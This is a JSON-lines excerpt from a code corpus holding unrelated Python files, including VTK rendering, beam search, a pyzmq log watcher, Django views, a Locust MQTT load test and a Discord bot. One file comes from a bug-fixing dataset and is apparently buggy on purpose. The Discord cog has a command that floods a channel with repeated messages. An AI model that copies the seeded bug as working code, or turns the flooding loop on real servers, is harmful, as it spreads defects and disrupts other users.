ev_loop.run_until_complete(main())\n","sub_path":"bin/dev_sample.py","file_name":"dev_sample.py","file_ext":"py","file_size_in_byte":2053,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"326708719","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n__author__='Basile Marchand'\n__version__='0.1.0'\n\nname = 'cpp_header_sanitizer'\ncontact=\"basile.marchand@gmail.com\"\n\nfrom setuptools import setup, find_packages\nimport pathlib as pl\n\nhere = pl.Path(__file__).parent.absolute()\n\nrequirements = []\nwith open( here / pl.Path(\"requirements.txt\")) as fid:\n content = fid.read().split(\"\\n\")\n for line in content:\n if line.startswith( \"#\" ) or line.startswith( \" \" ) or line==\"\":\n continue\n elif line.startswith( \"-e\" ):\n pname = line.split(\"#egg=\")[1]\n req_line = \"{} @ {}\".format( pname, line[3:] )\n requirements.append( req_line )\n else:\n requirements.append( line )\n\nwith open(here / pl.Path(\"README.md\")) as fid:\n long_description = fid.read()\n\nextras_require = {'test':['pytest',]}\n\n\nsetup(\n name=name,\n version=__version__,\n author_email=contact,\n description=\"C++ Header file sanitizer\",\n long_description=long_description,\n license=\"\",\n url=\"\",\n classifiers=[\n 'Development Status :: 1 - Beta',\n ],\n install_requires=requirements,\n extras_require=extras_require,\n packages=find_packages(),\n include_package_data=True,\n entry_points = {\n 'console_scripts': ['cppsanitizer=cppsanitizer:main'],\n }\n)","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1338,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"377436945","text":"# Autor: Victor Manuel Ceron Navarrete\r\n# Confirma si existe un triángulo, y su tipo. Se dibuja el triángulo tambien\r\n\r\n# Esto invoca a la tortuga jaja\r\nimport turtle\r\nimport math\r\n\r\n\r\n# esta funcion comprueva que se pueda hacer un triangulo con las medidas\r\ndef compruebaTriangulo(a, b, c):\r\n if a + b > c and a + c > b and b + c > a:\r\n return True\r\n else:\r\n return False\r\n\r\n\r\n# se calcula que triangulo es\r\ndef calcularTriangulo(a, b, c):\r\n if compruebaTriangulo(a, b, c) == True:\r\n if a == b == c:\r\n return \"Las medidas corresponden a un triángulo equilátero\"\r\n elif (c**2) + (a**2) - (b**2) == 0 or (b**2) + (c**2) - (a**2) == 0 or (a**2) + (b**2) - (c**2) == 0:\r\n return \"Las medidas corresponden a un triángulo rectángulo\"\r\n elif a == c != b or a == b != c or a == c != b:\r\n return \"Las medidas corresponden a un triángulo isóceles\"\r\n elif (a**2) + (b**2) - (c**2) < 0 or (c**2) + (a**2) - (b**2) < 0 or (b**2) + (c**2) - (a**2) < 0:\r\n return \"Las medidas corresponden a un triángulo escaleno obtusángulo\"\r\n elif (a**2) + (b**2) - (c**2) > 0 or (c**2) + (a**2) - (b**2) > 0 or (b**2) + (c**2) - (a**2) > 0:\r\n return \"Las medidas corresponden a un triángulo escaleno acutángulo\"\r\n else:\r\n return \"tus medidas no son de un triangulo.\"\r\n\r\n\r\n# la tortuga invocada dibuja el triangulo con las medidas que el usuario teclee, si es que existe. Si no existe, devuelve error\r\ndef dibujarTriangulo(a, b, c):\r\n if compruebaTriangulo(a, b, c) == True:\r\n uno = (math.acos(((a ** 2) - (b ** 2) - (c ** 2)) / - (2 * b * c)) * 180/math.pi)\r\n dos = (math.acos(((b ** 2) - (a ** 2) - (c ** 2)) / - (2 * a * c)) * 180/math.pi)\r\n tres = (math.acos(((c ** 2) - (b ** 2) - (a ** 2)) / - (2 * a * b)) * 180/math.pi)\r\n turtle.forward(a)\r\n turtle.left(180 - dos)\r\n turtle.forward(c)\r\n turtle.left(180 - uno)\r\n turtle.forward(b)\r\n turtle.left(180 - tres)\r\n return uno, dos, tres\r\n else:\r\n return \"Error: No puedo dibujar un triángulo con esas medidas\"\r\n\r\n\r\n# aqui se llaman a las funciones después de que el usuario teclee las medidas\r\ndef main():\r\n a = float(input(\"Escribe la primer medida de tu triángulo: \"))\r\n b = float(input(\"Escribe la segunda medida de tu triángulo: \"))\r\n c = float(input(\"Escribe la tercer medida de tu triángulo: \"))\r\n compruebaTriangulo(a, b, c)\r\n print(calcularTriangulo(a, b, c))\r\n print(dibujarTriangulo(a, b, c))\r\n turtle.exitonclick()\r\n\r\n\r\nmain()\r\n","sub_path":"Triangulos.py","file_name":"Triangulos.py","file_ext":"py","file_size_in_byte":2597,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"386764260","text":"#!/usr/bin/env python\nfrom __future__ import print_function\n\nimport vtk\n\n#Loader for our structured dataset\nimageReader = vtk.vtkStructuredPointsReader()\nimageReader.SetFileName(\"C:/Users/Riley/Documents/CMPS3360/VTK/Assignment4/data/foot.vtk\")\nimageReader.Update()\n\n#Print dimensions and range of the 3d image\ndims = imageReader.GetOutput().GetDimensions()\nprint(\"Dimensions of image: \" + str(dims[0]) + \" x \"\n + str(dims[1]) + \" x \" + str(dims[2]))\nrange = imageReader.GetOutput().GetScalarRange();\nprint(\"Range of image: \" + str(range[0]) + \" to \" + str(range[1]))\n\n#create an outline that shows the bounds of our dataset\noutline = vtk.vtkOutlineFilter();\noutline.SetInputConnection(imageReader.GetOutputPort());\n#mapper to push the outline geometry to the graphics library\noutlineMapper = vtk.vtkPolyDataMapper();\noutlineMapper.SetInputConnection(outline.GetOutputPort());\n#actor for the outline to add to our renderer\noutlineActor = vtk.vtkActor();\noutlineActor.SetMapper(outlineMapper);\noutlineActor.GetProperty().SetLineWidth(2.0);\n\n#used for clipping plane\nplane = vtk.vtkPlane();\n\n\n###TODO Part 1 and Part 2\n# For Part 1 use https://github.com/Kitware/VTK/blob/master/Examples/VolumeRendering/Python/SimpleRayCast.py as a guide\n\n# Color Transfer Function\ncol_TF = vtk.vtkColorTransferFunction()\ncol_TF.AddRGBPoint(0,0.403922,0.0,0.121569)\ncol_TF.AddRGBPoint(104.852,0.752941,0.560784,0.568627)\ncol_TF.AddRGBPoint(153.503,0.905882,0.819608,0.823529)\ncol_TF.AddRGBPoint(255,1.0,1.0,1.0)\n\n# Opacity Transfer Function\nopa_TF = vtk.vtkPiecewiseFunction()\nopa_TF.AddPoint(0,0.0)\nopa_TF.AddPoint(54.523,0.0525)\nopa_TF.AddPoint(114.079,0.375)\nopa_TF.AddPoint(255,1.0)\n\n# Applies transfer functions to the data\napply_TF = vtk.vtkVolumeProperty()\napply_TF.SetColor(col_TF)\napply_TF.SetScalarOpacity(opa_TF)\napply_TF.ShadeOn()\napply_TF.SetInterpolationTypeToLinear()\n\n# The mapper / ray cast function know how to render the data\nvolumeMapper = vtk.vtkGPUVolumeRayCastMapper()\nvolumeMapper.SetBlendModeToComposite()\nvolumeMapper.SetInputConnection(imageReader.GetOutputPort())\n\n# The volume holds the mapper and the property and\n# can be used to position/orient the volume\nvolume = vtk.vtkVolume()\nvolume.SetMapper(volumeMapper)\nvolume.SetProperty(apply_TF)\n\nvolume.GetMapper().AddClippingPlane(plane) # Updates volume rendered when you move the clipping plane\n\n### END TODO\n\n#A renderer that renders our geometry into the render window\nrenderer = vtk.vtkRenderer()\nrenderer.SetBackground(0.1, 0.1, 0.2)\nrenderer.SetViewport(0,0,1,1);\n\n#Add actor and properties to our renderer\nrenderer.AddActor(outlineActor);\n#TODO add volume\nrenderer.AddVolume(volume)\n\n#The render window\nrenwin = vtk.vtkRenderWindow()\nrenwin.AddRenderer(renderer)\nrenwin.SetSize( 512, 512)\n\n#Move camera\nrenderer.ResetCamera()\nrenderer.GetActiveCamera().Elevation(-70);\nrenderer.ResetCameraClippingRange();\nrenwin.Render()\n\n#Interactor to handle mouse and keyboard events\ninteractor = vtk.vtkRenderWindowInteractor()\ninteractor.SetRenderWindow(renwin)\n\n# A Callback function\ndef planeCallback(object, event):\n global plane\n object.GetRepresentation().GetPlane(plane)\n\n###TODO Part 2\n# Following example from https://vtk.org/Wiki/VTK/Examples/Cxx/Widgets/ImplicitPlaneWidget2\n\n# Sets up plane object for widget\nplane_rep = vtk.vtkImplicitPlaneRepresentation()\nplane_rep.SetPlaceFactor(1.25)\nplane_rep.PlaceWidget(outlineActor.GetBounds())\nplane_rep.SetNormal(plane.GetNormal())\n\n# Sets up interaction, allows you to move plane\nplane_wg = vtk.vtkImplicitPlaneWidget2()\nplane_wg.SetInteractor(interactor)\nplane_wg.SetRepresentation(plane_rep)\nplane_wg.AddObserver(\"InteractionEvent\", planeCallback)\n\nplane_wg.On()\n\n### END TODO\n\ninteractor.Initialize()\ninteractor.Start()\n","sub_path":"Volume.py","file_name":"Volume.py","file_ext":"py","file_size_in_byte":3745,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"285570248","text":"from typing import Generic, TypeVar, Union, Optional, List, Tuple, Any, cast, Dict\nfrom numpy.typing import ArrayLike\nimport numpy as np\n\nStateT = TypeVar(\"StateT\")\nResultT = TypeVar(\"ResultT\")\nT = TypeVar(\"T\")\nU = TypeVar(\"U\")\n\nMAX_PATH_LENGTH = 1000\n\n\nclass BeamNode(Generic[StateT, ResultT]):\n ParentT = Optional[\"BeamNode[T, U]\"]\n parent: \"ParentT[StateT, ResultT]\" = None\n state: StateT\n score: float\n result: Optional[ResultT] = None\n\n def __init__(\n self,\n state: StateT,\n score: float = 1.0,\n parent: \"ParentT[StateT, ResultT]\" = None,\n ):\n self.state = state\n self.parent = parent\n self.score = score\n\n def path(self) -> \"List[BeamNode[StateT, ResultT]]\":\n path = [self]\n while path[0].parent is not None and len(path) < MAX_PATH_LENGTH:\n path.insert(0, path[0].parent)\n return path\n\n\nclass AbstractBeamSearch(Generic[StateT, ResultT]):\n beam: List[BeamNode[StateT, ResultT]]\n width: int\n\n def __init__(self, initial_state: StateT, width: int = 5):\n self.beam = [BeamNode(initial_state)]\n self.width = width\n\n def _forward(self, state: StateT) -> ResultT:\n \"\"\"run the model against the current state\"\"\"\n raise NotImplemented\n\n def _score(self, node: BeamNode[StateT, ResultT]) -> List[Tuple[StateT, float]]:\n \"\"\"create a distribution over next State\"\"\"\n raise NotImplemented\n\n def forward(self) -> None:\n for head in self.beam:\n head.result = self._forward(head.state)\n scoreList = [self._score(head) for head in self.beam]\n scoreMat = [[score for _, score in score] for score in scoreList]\n indices = sorted(\n [\n (p, (i, j))\n for i, scores in enumerate(scoreMat)\n for j, p in enumerate(scores)\n ],\n key=lambda t: t[0],\n reverse=True,\n )\n self.beam = [\n BeamNode(\n state=scoreList[head_i][next_j][0], score=p, parent=self.beam[head_i]\n )\n for p, (head_i, next_j) in indices[: self.width]\n ]\n","sub_path":"src/beam.py","file_name":"beam.py","file_ext":"py","file_size_in_byte":2162,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"632777031","text":"import time\ndef dim_reduce(mat,dim = 128,method = 'pca'):\n print('START dimenstionality:PCA,SVD,etc')\n t0 = time.time()\n if method == 'pca':\n from sklearn.decomposition import PCA\n pca = PCA(n_components= dim,svd_solver = 'auto',random_state=None)\n mat_reduced = pca.fit_transform(mat)\n elif method == 'svd':\n from sklearn.decomposition import TruncatedSVD\n svd = TruncatedSVD(n_components=dim,n_iter= 5,random_state= None)\n mat_reduced = svd.fit_transform(mat)\n else:\n #XGBoost\n pass\n\nclass AttrOp(object):\n def __init__(self,graph,dim,mode):\n self.g = graph\n self.dim = dim\n self.mode = mode\n print('attrbute learning representation...')\n\n def train(self,mode):\n mat = self.g.get_attr_mat().todense()\n X_compressed = None\n X_compressed = dim_reduce(mat,self.dim,mode)\n return X_compressed\n\n\n","sub_path":"mul_relation/model/ATTRop.py","file_name":"ATTRop.py","file_ext":"py","file_size_in_byte":926,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"64872096","text":"# Definition for singly-linked list.\n# class ListNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\nclass Solution(object):\n def oddEvenList(self, head):\n \"\"\"\n :type head: ListNode\n :rtype: ListNode\n \"\"\"\n if not head:\n return head\n \n odd_head = head\n even_head = head.next\n odd_cur = odd_head\n even_cur = even_head\n\n while even_cur and even_cur.next:\n odd_cur.next = even_cur.next\n odd_cur = odd_cur.next\n even_cur.next = odd_cur.next\n even_cur = even_cur.next\n odd_cur.next = even_head\n return head\n \n\n\n\n","sub_path":"LeetCode/python/lc328.py","file_name":"lc328.py","file_ext":"py","file_size_in_byte":704,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"543439380","text":"\"\"\"pyzmq log watcher.\n\nEasily view log messages published by the PUBHandler in zmq.log.handlers\n\nDesigned to be run as an executable module - try this to see options:\n python -m zmq.log -h\n\nSubscribes to the '' (empty string) topic by default which means it will work\nout-of-the-box with a PUBHandler object instantiated with default settings. \nIf you change the root topic with PUBHandler.setRootTopic() you must pass \nthe value to this script with the --topic argument.\n\nNote that the default formats for the PUBHandler object selectively include\nthe log level in the message. This creates redundancy in this script as it\nalways prints the topic of the message, which includes the log level. \nConsider overriding the default formats with PUBHandler.setFormat() to\navoid this issue.\n\n\"\"\"\n\n\n# encoding: utf-8\n\n# Copyright (C) PyZMQ Developers\n# Distributed under the terms of the Modified BSD License.\n\nimport argparse\nfrom datetime import datetime\nfrom typing import Dict\n\nimport zmq\n\nparser = argparse.ArgumentParser('ZMQ Log Watcher')\nparser.add_argument('zmq_pub_url', type=str, help='URL to a ZMQ publisher socket.')\nparser.add_argument(\n '-t',\n '--topic',\n type=str,\n default='',\n help='Only receive messages that start with this topic.',\n)\nparser.add_argument(\n '--timestamp', action='store_true', help='Append local time to the log messages.'\n)\nparser.add_argument(\n '--separator',\n type=str,\n default=' | ',\n help='String to print between topic and message.',\n)\nparser.add_argument(\n '--dateformat',\n type=str,\n default='%Y-%d-%m %H:%M',\n help='Set alternative date format for use with --timestamp.',\n)\nparser.add_argument(\n '--align',\n action='store_true',\n default=False,\n help='Try to align messages by the width of their topics.',\n)\nparser.add_argument(\n '--color',\n action='store_true',\n default=False,\n help='Color the output based on the error level. Requires the colorama module.',\n)\nargs = parser.parse_args()\n\n\nif args.color:\n import colorama\n\n colorama.init()\n colors = {\n 'DEBUG': colorama.Fore.LIGHTCYAN_EX,\n 'INFO': colorama.Fore.LIGHTWHITE_EX,\n 'WARNING': colorama.Fore.YELLOW,\n 'ERROR': colorama.Fore.LIGHTRED_EX,\n 'CRITICAL': colorama.Fore.LIGHTRED_EX,\n '__RESET__': colorama.Fore.RESET,\n }\nelse:\n colors = {}\n\n\nctx = zmq.Context()\nsub = ctx.socket(zmq.SUB)\nsub.subscribe(args.topic.encode(\"utf8\"))\nsub.connect(args.zmq_pub_url)\n\ntopic_widths: Dict[int, int] = {}\n\nwhile True:\n try:\n if sub.poll(10, zmq.POLLIN):\n topic, msg = sub.recv_multipart()\n topics = topic.decode('utf8').strip().split('.')\n\n if args.align:\n topics.extend(' ' for extra in range(len(topics), len(topic_widths)))\n aligned_parts = []\n for key, part in enumerate(topics):\n topic_widths[key] = max(len(part), topic_widths.get(key, 0))\n fmt = ''.join(('{:<', str(topic_widths[key]), '}'))\n aligned_parts.append(fmt.format(part))\n\n if len(topics) == 1:\n level = topics[0]\n else:\n level = topics[1]\n\n fields = {\n 'msg': msg.decode('utf8').strip(),\n 'ts': datetime.now().strftime(args.dateformat) + ' '\n if args.timestamp\n else '',\n 'aligned': '.'.join(aligned_parts)\n if args.align\n else topic.decode('utf8').strip(),\n 'color': colors.get(level, ''),\n 'color_rst': colors.get('__RESET__', ''),\n 'sep': args.separator,\n }\n print('{ts}{color}{aligned}{sep}{msg}{color_rst}'.format(**fields))\n except KeyboardInterrupt:\n break\n\nsub.disconnect(args.zmq_pub_url)\nif args.color:\n print(colorama.Fore.RESET)\n","sub_path":"contrib/python/pyzmq/py3/zmq/log/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":3913,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"115649864","text":"from django.core.management.base import BaseCommand, CommandError\nfrom binary_tree.three_bc import ThreeBC\nimport re\nfrom binary_tree.models import BinaryTree\nimport datetime\n\n\nclass Command(BaseCommand):\n help = 'Очищает систему от неактивных пользователей'\n\n def add_arguments(self, parser):\n parser.add_argument('unique_number', type=str, help='Example MI-1000032 or find_all')\n\n @staticmethod\n def start(argument):\n my_re = re.match(r'MI-\\d{7}', argument)\n\n if my_re and len(argument) == 10:\n clean_single_user = ThreeBC(argument)\n clean_single_user.start()\n elif argument == 'find_all'.upper():\n date = datetime.datetime.now() - datetime.timedelta(days=7)\n users = BinaryTree.objects.select_related('user', 'user__profile').filter(\n user__profile__active_in_binar=False,\n user__date_joined__lt=date\n ).order_by('-id').iterator()\n for user in users:\n clean_single_user = ThreeBC(user.user.profile.unique_number.upper())\n clean_single_user.start()\n else:\n raise BaseException('Неверный аргумент')\n\n def handle(self, *args, **option):\n print('='*150)\n\n argument = option['unique_number'].upper()\n self.start(argument)\n","sub_path":"binary_tree/management/commands/make_three_bc.py","file_name":"make_three_bc.py","file_ext":"py","file_size_in_byte":1383,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"219332583","text":"from django.shortcuts import render, redirect\nfrom django.contrib.auth.models import User\nfrom django.contrib.auth.forms import UserCreationForm\nfrom django.contrib.auth import login, authenticate\nfrom django.contrib.auth.decorators import login_required\nfrom wheelspin.models import RefferUser\n# Create your views here.\n\n@login_required\ndef index(request):\n return render(request,'wheelspin/profile.html')\ndef sign_up(request):\n profile_id = request.session.get('ref_profile')\n print(profile_id)\n context = {}\n form = UserCreationForm(request.POST or None)\n if request.method == \"POST\":\n if form.is_valid():\n user = form.save()\n \n try:\n recommended_by_profile = RefferUser.objects.get(id=profile_id)\n print(\"rbp: \", str(recommended_by_profile))\n registered_user = User.objects.get(id=user.id)\n print('ru: ', str(registered_user))\n registered_profile = RefferUser.objects.get(user=registered_user)\n print(\"rp: \", str(registered_profile))\n registered_profile.ref_by = recommended_by_profile.user\n print(registered_profile.ref_by)\n registered_profile.save()\n print(\"refer added\")\n except:\n print(\"Error occured\")\n\n login(request,user)\n return redirect(index)\n \n context['form']=form\n return render(request,'registration/sign_up.html',context)\n","sub_path":"CryptoWheelSpin/accounts/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1514,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"385501467","text":"def allocate_address(ec2, domain, reuse_existing_ip_allowed):\n ' Allocate a new elastic IP address (when needed) and return it '\n if reuse_existing_ip_allowed:\n domain_filter = {\n 'domain': (domain or 'standard'),\n }\n all_addresses = ec2.get_all_addresses(filters=domain_filter)\n if (domain == 'vpc'):\n unassociated_addresses = [a for a in all_addresses if (not a.association_id)]\n else:\n unassociated_addresses = [a for a in all_addresses if (not a.instance_id)]\n if unassociated_addresses:\n return unassociated_addresses[0]\n return ec2.allocate_address(domain=domain)","sub_path":"Data Set/bug-fixing-5/c5971047a4c1c48c8a179137480fa4004d7b4134--bug.py","file_name":"c5971047a4c1c48c8a179137480fa4004d7b4134--bug.py","file_ext":"py","file_size_in_byte":664,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"206359200","text":"\"\"\"Tests for the strategy\"\"\"\nfrom django.http import HttpRequest\nfrom rest_framework.request import Request\n\nfrom authentication.utils import load_drf_strategy\n\n\ndef test_strategy_init(mocker):\n \"\"\"Test that the constructor works as expected\"\"\"\n drf_request = mocker.Mock()\n strategy = load_drf_strategy(request=drf_request)\n assert strategy.drf_request == drf_request\n assert strategy.request == drf_request._request # pylint: disable=protected-access\n\n\ndef test_strategy_request_data(mocker):\n \"\"\"Tests that the strategy request_data correctly returns the DRF request data\"\"\"\n drf_request = mocker.Mock()\n strategy = load_drf_strategy(request=drf_request)\n assert strategy.request_data() == drf_request.data\n\n\ndef test_strategy_clean_authenticate_args(mocker):\n \"\"\"Tests that the strategy clean_authenticate_args moves the request to kwargs\"\"\"\n # NOTE: don't pass this to load_drf_Strategy, it will error\n drf_request = Request(mocker.Mock(spec=HttpRequest))\n strategy = load_drf_strategy(mocker.Mock())\n assert strategy.clean_authenticate_args(drf_request, 2, 3, kwarg1=1, kwarg2=2) == (\n (2, 3),\n {\"request\": drf_request, \"kwarg1\": 1, \"kwarg2\": 2},\n )\n","sub_path":"authentication/strategy_test.py","file_name":"strategy_test.py","file_ext":"py","file_size_in_byte":1216,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"410211624","text":"import discord \nimport asyncio\nimport random \nfrom discord.ext import commands\nimport json\nfrom datetime import datetime,timedelta\nclass start(commands.Cog):\n\tdef __init__(self,bot):\n\t\tself.bot=bot\n\t@commands.command()\n\tasync def start(self,ctx,t=None,*,text=None):\n\t\t\n\t\ttry:\n\t\t\tif type(int(t[:-1]))==int:\n\t\t\t\ttry:\n\t\t\t\t\tif type(int(t))==int:\n\t\t\t\t\t\ttext=t\n\t\t\t\t\t\tt=None\n\t\t\t\texcept:\n\t\t\t\t\t\n\t\t\t\t\tif int(t[:-1]) >= 0:\n\t\t\t\t\t\tpass\n\n\t\t\t\t\telse:\n\t\t\t\t\t\tawait ctx.send(\"Oops cant read negative numbers\")\n\t\t\t\t\t\treturn\n\t\texcept:\n\t\t\t\n\t\t\ttry:\n\t\t\t\tprint(t)\n\t\t\t\tif type(int(t[3:len(t)-1]))==int:\n\t\t\t\t\tpass\n\t\t\texcept:\t\n\t\t\t\tif text==None:\n\t\t\t\t\ttext=t\n\t\t\t\telse:\n\t\t\t\t\ttext=t+\" \"+text\n\t\t\t\tt=None\n\t\t\telse:\n\t\t\t\tif t[:2]==\"<@\":\n\t\t\t\t\tif text==None:\n\t\t\t\t\t\ttext=t\n\n\t\t\t\t\telse:\n\t\t\t\t\t\ttext=t+\" \"+text\n\t\t\t\t\tt=None\t\t\t\t\n\t\tfor i in ctx.message.author.roles:\n\t\t\tif 'spam' in i.name.lower():\n\t\t\t\t\n\t\t\t\tchannel=ctx.message.channel\n\t\t\t\tif text==None:\n\t\t\t\t\ttext='Spam'\n\t\t\t\tnoww=datetime.now()\n\t\t\t\ttop=channel.topic\n\t\t\t\tif t==None:\n\t\t\t\t\twhile 1:\n\t\t\t\t\t\tif channel.topic==\"stop :1\":\n\t\t\t\t\t\t\tawait channel.send(\"Processes stopped successfully\")\n\t\t\t\t\t\t\tawait channel.edit(topic=top)\n\t\t\t\t\t\t\treturn\n\t\t\t\t\t\tnoww=datetime.now()\n\t\t\t\t\t\tawait asyncio.sleep(0.8)\n\t\t\t\t\t\tawait channel.send(text)\n\n\t\t\t\telif 's' in t.lower():\n\t\t\t\t\tt=int(t[:-1])\n\t\t\t\t\tprint(t)\n\t\t\t\t\tnex= noww+timedelta(seconds = t)\n\t\t\t\t\tprint(nex)\n\t\t\t\t\tprint(noww)\n\n\t\t\t\telif 'm' in t.lower():\n\t\t\t\t\tt=int(t[:-1])\n\t\t\t\t\tnex= noww+timedelta(minutes = t)\n\n\t\t\t\telif 'h' in t.lower():\n\t\t\t\t\tt=int(t[:-1])\n\t\t\t\t\tnex= noww+timedelta(hours = t)\n\n\t\t\t\telif 'd' in t.lower():\n\t\t\t\t\tt=int(t[:-1])\n\t\t\t\t\tnex= noww+timedelta(days = t)\n\n\t\t\t\twhile 1:\n\t\t\t\t\tif noww>=nex:\n\t\t\t\t\t\tawait channel.edit(topic=top)\n\n\t\t\t\t\t\tbreak\n\t\t\t\t\telse:\n\t\t\t\t\t\tif channel.topic==\"stop :1\":\n\t\t\t\t\t\t\tawait channel.send(\"Processes stopped successfully\")\n\t\t\t\t\t\t\tawait channel.edit(topic=top)\n\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\tnoww=datetime.now()\n\t\t\t\t\t\tawait asyncio.sleep(0.8)\n\t\t\t\t\t\tawait channel.send(text)\n\t\t\t\treturn\n\t\tawait ctx.send(\"Looks like you dont have the spam role\")\n\ndef setup(bot):\n\tbot.add_cog(start(bot))\n","sub_path":"cogs/spam.py","file_name":"spam.py","file_ext":"py","file_size_in_byte":2057,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"130536095","text":"import os\nimport random\nimport time\nfrom datetime import datetime\n\nfrom locust import TaskSet, task, seq_task\nfrom mqtt_client import MQTT_Client\nfrom redis_client import RedisClient\n\ncache = RedisClient()\ncache.connect()\n\ntimestamp = int(datetime.timestamp(datetime.now()))\n\nif not os.path.exists('logs/'):\n os.makedirs(\"logs/\")\n \nfilename_dir = \"logs/{0}.log\".format(timestamp)\n\nclass IoT_Device(TaskSet):\n\n def on_start(self):\n self.device_id = cache.next_device_id()\n self.client_mqtt = MQTT_Client(self.device_id, filename_dir)\n self.client_mqtt.connect()\n\n self.init_time = 0.0\n\n @task\n def publish(self):\n if time.time() - self.init_time >= 30.0:\n self.init_time = time.time()\n self.client_mqtt.publishing(self.device_id)\n \n self.client_mqtt.loop(0.05)\n","sub_path":"locust/iot_device.py","file_name":"iot_device.py","file_ext":"py","file_size_in_byte":850,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"80485435","text":"# ord - получить код ASCII chr - возвращает символ возвращает символ, соответствующий коду ASCII)\n\nres = []\nfor i in 'spam':\n res.append(ord(i))\n\nprint(res)\n\n# the same with map\n\nres = list(map(ord, 'spam')) # Применить функцию к последовательности\nprint(res)\n\n# tha same with generator of list\n\nres = [ord(x) for x in 'spam'] # Применит выражение к последовательности\nprint(res)\n\n# Однако генераторы списков более удобны, особенно, когда требуется\n# применить к последовательности произвольное выражение:\n\nres = [x ** 2 for x in range(10)]\nprint(res)\n\n# the same with map + lambda\n\ndef lst(rng):\n res = list(map((lambda x: x ** 2), range(rng)))\n return (res)\n\nprint(lst(10))\n\n\n# Генераторы списков и матрицы\n\nM = [[1, 2, 3],\n [4, 5, 6],\n [7, 8, 9]]\n\nN = [[2, 2, 2],\n [3, 3, 3],\n [4, 4, 4]]\n\n# мы легко можем извлечь второй столбец,\n# просто обходя строки матрицы и выбирая элементы из требуемого сто��бца или\n# выполняя обход требуемых позиций в строках:\n\nres = [row[1] for row in M]\nprint(res)\n\n# 2-nd variant\n\nres = [M[row][1] for row in (0, 1, 2)]\nprint(res)\n\n# В следующем примере используется функция range – она созда-\n# ет список смещений, который затем используется для индексирования строк\n# и столбцов одним и тем же значением. В результате сначала выбирается M[0][0],\n# затем M[1][1] и так далее (здесь предполагается, что матрица имеет одинаковое\n# число строк и столбцов):\n\nres = [M[i][i] for i in range(len(M))]\nprint(res)\n\n# Первый пример ниже создает простой список, содержащий результаты умножения соответствующих эле-\n# ментов двух матриц, а второй создает структуру вложенных списков, с теми же\n# самыми значениями:\n\nres = [M[row][col] * N[row][col] for row in range(3) for col in range(3)]\nprint(res)\n\nres = [[M[row][col] * N[row][col] for row in range(3)] for col in range(3)]\nprint(res)\n\n# the same with above example\n\nres = []\nfor row in range(3):\n tmp = []\n for col in range(3):\n tmp.append(M[row][col] * N[row][col])\n res.append(tmp)\n\nprint(res)\n\n\n# Вспомните, что метод файлов readlines возвращает строки с символом\n# конца строки (\\n) в конце:\n\nprint(open('myfile').readlines())\n\n# Если требуется удалить символы конца строки, их можно отсечь сра-\n# зу во всех строках за одно действие с помощью генератора списков или\n# функции map (в Python 3.0 функция map возвращает итерируемый объ-\n# ект, поэтому нам пришлось использовать функцию list, чтобнератораы полу-\n# чить весь список с результатами в интерактивном сеансе):\n\nx = [line.rstrip() for line in open('myfile').readlines()] # Отсекаем \\n с помощю генератора списка\nprint(x)\n\n# В нижних двух случаях используются файловые итераторы (по сути\n# это означает, что вам не требуется вызывать метод, который будет чи-\n# тать строки из файла)\nlists = [line.rstrip() for line in open('myfile')]\nprint(lists)\n\nList = list(map((lambda line: line.rstrip()), open('myfile')))\nprint(List)\n\n\n# Стандартный прикладной интерфейс доступа к базам данных\n# в языке Python возвращает результаты запроса в виде списка кортежей,\n# как показано ниже. Список – это таблица, кортежи – это строки, а эле-\n# менты кортежей – это значения столбцов:\n\nlistoftuple = [('bob', 35, 'mgr'), ('mel', 40, 'dev')]\n\n# Выбрать все значения из определенного столбца можно и вручную, с по-\n# мощью цикла for, но функция map и генераторы списков сделают это бы-\n# стрее и за один шаг:\n\nworkList = [age for (name, age, job) in listoftuple]\nprint(workList)\n\n# workList = list(map((lambda (name, age, job): name), listoftuple)) # Python 2.6\n\n\n\n\n\n","sub_path":"Iterators_generators_ chapter20/list_generator_and_map.py","file_name":"list_generator_and_map.py","file_ext":"py","file_size_in_byte":5125,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"63453956","text":"import datetime\n\n\nclass Store:\n def __init__(self, store_name):\n self.store_name = store_name\n self._stock = {}\n\n def add_item(self, journal, item_to_add, quantity_to_add):\n self._stock[item_to_add] = self._stock.get(item_to_add, 0) + quantity_to_add\n new_log_entry = LogEntry(item=item_to_add, quantity_added=quantity_to_add, time=datetime.datetime.now())\n journal.replenishment_log.append(new_log_entry)\n return self._stock[item_to_add]\n\n def sell_item(self, journal_for_invoice, item_to_sell, quantity_to_sell):\n if quantity_to_sell <= self._stock[item_to_sell]:\n new_invoice = Invoice(item=item_to_sell, quantity_sold=quantity_to_sell, time_of_invoice=datetime.datetime.now())\n journal_for_invoice.add_invoice(journal_for_invoice, store=self, new_invoice=new_invoice)\n self._stock[item_to_sell] -= quantity_to_sell\n return self._stock[item_to_sell]\n 